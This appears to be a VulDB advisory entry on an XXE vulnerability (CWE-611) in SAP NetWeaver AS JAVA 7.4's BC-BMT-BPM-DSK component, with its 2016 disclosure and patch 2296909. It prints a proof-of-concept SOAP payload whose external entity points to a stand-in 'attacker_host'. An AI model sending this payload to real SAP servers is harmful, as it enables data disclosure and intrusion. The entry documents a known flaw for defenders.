SAP NetWeaver AS JAVA 7.4 BC-BMT-BPM-DSK bpemuwlconn xml external entity reference

Summaryinfo

A vulnerability identified as problematic has been detected in SAP NetWeaver AS JAVA 7.4. This affects an unknown function of the file /sap.com~tc~bpem~him~uwlconn~provider~web/bpemuwlconn of the component BC-BMT-BPM-DSK. This manipulation causes xml external entity reference. It is possible to initiate the attack remotely. Furthermore, there is an exploit available. To fix this issue, it is recommended to deploy a patch.

Detailsinfo

A vulnerability has been found in SAP NetWeaver AS JAVA 7.4 (Solution Stack Software) and classified as problematic. Affected by this vulnerability is some unknown functionality of the file /sap.com~tc~bpem~him~uwlconn~provider~web/bpemuwlconn of the component BC-BMT-BPM-DSK. The manipulation with an unknown input leads to a xml external entity reference vulnerability. The CWE definition for the vulnerability is CWE-611. The product processes an XML document that can contain XML entities with URIs that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output. As an impact it is known to affect confidentiality, integrity, and availability.

The weakness was shared 11/21/2016 by Vahagn Vardanyan as [ERPSCAN-16-034] SAP NetWeaver AS JAVA - XXE vulnerability in BC-BMT-BPM-DSK component / 2296909 as confirmed mailinglist post (Bugtraq). It is possible to read the advisory at seclists.org. The vendor cooperated in the coordination of the public release. The exploitation appears to be difficult. The attack can be launched remotely. A single authentication is required for exploitation. Technical details and also a public exploit are known.

A public exploit has been developed by Vahagn Vardanyan and been published immediately after the advisory. It is possible to download the exploit at seclists.org. It is declared as proof-of-concept. The vulnerability was handled as a non-public zero-day exploit for at least 256 days. During that time the estimated underground price was around $5k-$25k. The code used by the exploit is:

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker_host";>
]><SOAP-ENV:Envelope
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/";
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/";
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance";
xmlns:xsd="http://www.w3.org/2001/XMLSchema";>

   <SOAP-ENV:Body>

       <m:isBPMSInUse xmlns:m="http://api.facade.bpem.sap.com/"/>

   &xxe;</SOAP-ENV:Body>

</SOAP-ENV:Envelope>

Applying the patch 2296909 is able to eliminate this problem.

Statistical analysis made it clear that VulDB provides the best quality for vulnerability data.

Productinfo

Type

• Solution Stack Software

Vendor

• SAP

Name

• NetWeaver AS JAVA

Version

• 7.4

License

• commercial

Website

• Vendor: https://www.sap.com/

CPE 2.3info

• 🔍

CPE 2.2info

• 🔍

CVSSv4info

CVSSv3info

CVSSv2info

Exploitinginfo

Threat Intelligenceinfo

Countermeasuresinfo

Timelineinfo

Sourcesinfo

Entryinfo

Statistical analysis made it clear that VulDB provides the best quality for vulnerability data.

Discussion